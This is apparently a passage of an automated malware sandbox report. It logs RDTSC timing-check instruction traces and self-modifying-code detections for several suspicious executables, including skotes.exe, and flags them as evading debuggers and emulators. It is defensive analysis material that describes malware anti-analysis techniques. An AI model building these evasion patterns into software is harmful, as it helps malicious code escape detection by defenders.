Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB03FC second address: 4EB0402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA06C2 second address: 4EA06C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA06C7 second address: 4EA0716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 7288h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebp 0x0000000c pushad 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pushfd 0x00000012 jmp 00007F51C5190FE4h 0x00000017 jmp 00007F51C5190FE5h 0x0000001c popfd 0x0000001d popad 0x0000001e mov dword ptr [esp], ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F51C5190FDDh 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0716 second address: 4EA0762 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 8992h 0x00000007 pushfd 0x00000008 jmp 00007F51C4516323h 0x0000000d add al, FFFFFF8Eh 0x00000010 jmp 00007F51C4516329h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F51C451631Dh 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0762 second address: 4EA07B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d jmp 00007F51C5190FDCh 0x00000012 pushfd 0x00000013 jmp 00007F51C5190FE2h 0x00000018 and ax, 1198h 0x0000001d jmp 00007F51C5190FDBh 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA07B3 second address: 4EA07B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA07B7 second address: 4EA07BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA07BB second address: 4EA07C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA07C1 second address: 4EA07C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA07C8 second address: 4EA07E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F51C451631Eh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA07E0 second address: 4EA0807 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F51C5190FE5h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0807 second address: 4EA0817 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51C451631Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0817 second address: 4EA0835 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F51C5190FE3h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0835 second address: 4EA0864 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516329h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F51C451631Dh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0864 second address: 4EA086A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA086A second address: 4EA086E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA086E second address: 4EA0952 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e jmp 00007F51C5190FE6h 0x00000013 sub ebx, ebx 0x00000015 pushad 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F51C5190FDDh 0x0000001d adc eax, 10089776h 0x00000023 jmp 00007F51C5190FE1h 0x00000028 popfd 0x00000029 popad 0x0000002a movsx ebx, cx 0x0000002d popad 0x0000002e test esi, esi 0x00000030 jmp 00007F51C5190FE6h 0x00000035 je 00007F5237696A7Dh 0x0000003b jmp 00007F51C5190FE0h 0x00000040 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000047 jmp 00007F51C5190FE0h 0x0000004c mov ecx, esi 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 call 00007F51C5190FDDh 0x00000056 pop ecx 0x00000057 pushfd 0x00000058 jmp 00007F51C5190FE1h 0x0000005d and esi, 40CAF646h 0x00000063 jmp 00007F51C5190FE1h 0x00000068 popfd 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0952 second address: 4EA09B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F51C4516327h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F51C4516329h 0x0000000f jmp 00007F51C451631Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 je 00007F5236A1BD23h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F51C4516325h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA09B3 second address: 4EA0A02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [77436968h], 00000002h 0x00000010 jmp 00007F51C5190FDEh 0x00000015 jne 00007F52376969AFh 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushfd 0x0000001f jmp 00007F51C5190FDCh 0x00000024 sbb ch, 00000038h 0x00000027 jmp 00007F51C5190FDBh 0x0000002c popfd 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0A02 second address: 4EA0AA8 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F51C4516328h 0x00000008 sbb eax, 33573798h 0x0000000e jmp 00007F51C451631Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov bx, si 0x00000019 popad 0x0000001a mov edx, dword ptr [ebp+0Ch] 0x0000001d jmp 00007F51C4516322h 0x00000022 xchg eax, ebx 0x00000023 jmp 00007F51C4516320h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F51C451631Ch 0x00000032 sub si, 3C58h 0x00000037 jmp 00007F51C451631Bh 0x0000003c popfd 0x0000003d pushfd 0x0000003e jmp 00007F51C4516328h 0x00000043 add si, C6B8h 0x00000048 jmp 00007F51C451631Bh 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0AA8 second address: 4EA0AC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 50FCAADAh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F51C5190FDDh 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0AC8 second address: 4EA0ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0ACC second address: 4EA0AD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0AD0 second address: 4EA0AD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0AD6 second address: 4EA0B09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 mov di, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F51C5190FE9h 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F51C5190FDAh 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0BB0 second address: 4EA0BC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516321h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EA0BC5 second address: 4EA0BD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movzx eax, di 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0D45 second address: 4EB0DB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516321h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F51C451631Eh 0x0000000f push eax 0x00000010 jmp 00007F51C451631Bh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 mov esi, 4D7C3EABh 0x0000001c pushfd 0x0000001d jmp 00007F51C4516320h 0x00000022 or si, B438h 0x00000027 jmp 00007F51C451631Bh 0x0000002c popfd 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 pushad 0x00000031 call 00007F51C4516324h 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0A95 second address: 4EB0AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F51C5190FE1h 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e mov ax, bx 0x00000011 pop edi 0x00000012 mov si, AADBh 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F51C5190FDDh 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0AC9 second address: 4EB0AE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516321h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, edx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EB0AE5 second address: 4EB0AEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F3070F second address: 4F3072C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C451631Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push esi 0x0000000c mov ch, bh 0x0000000e pop ecx 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F3072C second address: 4F30730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F30730 second address: 4F30736 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F30736 second address: 4F3074E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F3074E second address: 4F30754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F209D2 second address: 4F209D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F20733 second address: 4F20745 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51C451631Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F20745 second address: 4F207B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C5190FDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e call 00007F51C5190FE2h 0x00000013 pop esi 0x00000014 pushfd 0x00000015 jmp 00007F51C5190FDBh 0x0000001a or ax, 5BBEh 0x0000001f jmp 00007F51C5190FE9h 0x00000024 popfd 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 pushfd 0x00000029 jmp 00007F51C5190FDEh 0x0000002e sbb ah, FFFFFFB8h 0x00000031 jmp 00007F51C5190FDBh 0x00000036 popfd 0x00000037 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F207B8 second address: 4F207D3 instructions: 0x00000000 rdtsc 0x00000002 mov ah, 84h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F51C4516321h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F207D3 second address: 4F207D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F207D9 second address: 4F207F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516323h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F207F9 second address: 4F207FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F207FD second address: 4F20801 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F20801 second address: 4F20807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC01EC second address: 4EC01F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC01F0 second address: 4EC01F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC01F4 second address: 4EC01FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC01FA second address: 4EC0214 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51C5190FE6h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0214 second address: 4EC0218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4EC0218 second address: 4EC024E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F51C5190FE7h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F51C5190FDBh 0x00000018 mov esi, 1E38694Fh 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F20BB4 second address: 4F20BBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F20BBA second address: 4F20BBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F20BBE second address: 4F20BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F51C4516329h 0x00000012 jmp 00007F51C451631Bh 0x00000017 popfd 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F20BF2 second address: 4F20BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F20BF7 second address: 4F20BFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F20BFD second address: 4F20C01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F20C01 second address: 4F20CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007F51C451631Dh 0x00000010 mov ebp, esp 0x00000012 jmp 00007F51C451631Eh 0x00000017 push dword ptr [ebp+0Ch] 0x0000001a pushad 0x0000001b pushad 0x0000001c mov bl, al 0x0000001e popad 0x0000001f call 00007F51C4516324h 0x00000024 pushfd 0x00000025 jmp 00007F51C4516322h 0x0000002a xor ax, B328h 0x0000002f jmp 00007F51C451631Bh 0x00000034 popfd 0x00000035 pop esi 0x00000036 popad 0x00000037 push dword ptr [ebp+08h] 0x0000003a pushad 0x0000003b call 00007F51C4516325h 0x00000040 mov edi, esi 0x00000042 pop esi 0x00000043 pushfd 0x00000044 jmp 00007F51C451631Dh 0x00000049 adc cx, D1F6h 0x0000004e jmp 00007F51C4516321h 0x00000053 popfd 0x00000054 popad 0x00000055 call 00007F51C4516319h 0x0000005a pushad 0x0000005b mov di, ax 0x0000005e movzx ecx, di 0x00000061 popad 0x00000062 push eax 0x00000063 pushad 0x00000064 call 00007F51C4516320h 0x00000069 pushad 0x0000006a popad 0x0000006b pop eax 0x0000006c push eax 0x0000006d push edx 0x0000006e mov bx, 6492h 0x00000072 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4F20CD9 second address: 4F20D6D instructions: 0x00000000 rdtsc 0x00000002 mov bx, 37DEh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F51C5190FE4h 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F51C5190FDBh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F51C5190FE5h 0x00000025 and esi, 18A090C6h 0x0000002b jmp 00007F51C5190FE1h 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007F51C5190FE0h 0x00000037 sbb al, 00000068h 0x0000003a jmp 00007F51C5190FDBh 0x0000003f popfd 0x00000040 popad 0x00000041 movzx ecx, bx 0x00000044 popad 0x00000045 pop eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 mov ecx, 5F9781F3h 0x0000004e mov di, cx 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4ED04E1 second address: 4ED052A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51C4516320h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F51C4516320h 0x0000000f push eax 0x00000010 jmp 00007F51C451631Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F51C4516325h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4ED052A second address: 4ED0596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F51C5190FE7h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F51C5190FDEh 0x00000016 and eax, 6DE7DAE8h 0x0000001c jmp 00007F51C5190FDBh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F51C5190FE8h 0x00000028 and ah, 00000048h 0x0000002b jmp 00007F51C5190FDBh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	RDTSC instruction interceptor: First address: 4ED0596 second address: 4ED05AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51C4516324h 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Special instruction interceptor: First address: 6BEF10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Special instruction interceptor: First address: 85E62B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Special instruction interceptor: First address: 88673B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Special instruction interceptor: First address: 86F680 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Special instruction interceptor: First address: 8E2946 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1EEF10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 38E62B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3B673B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 39F680 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 412946 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Special instruction interceptor: First address: 289DCB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Special instruction interceptor: First address: 2686A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Special instruction interceptor: First address: 31FA7B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Special instruction interceptor: First address: 31FB51 instructions caused by: Self-modifying code
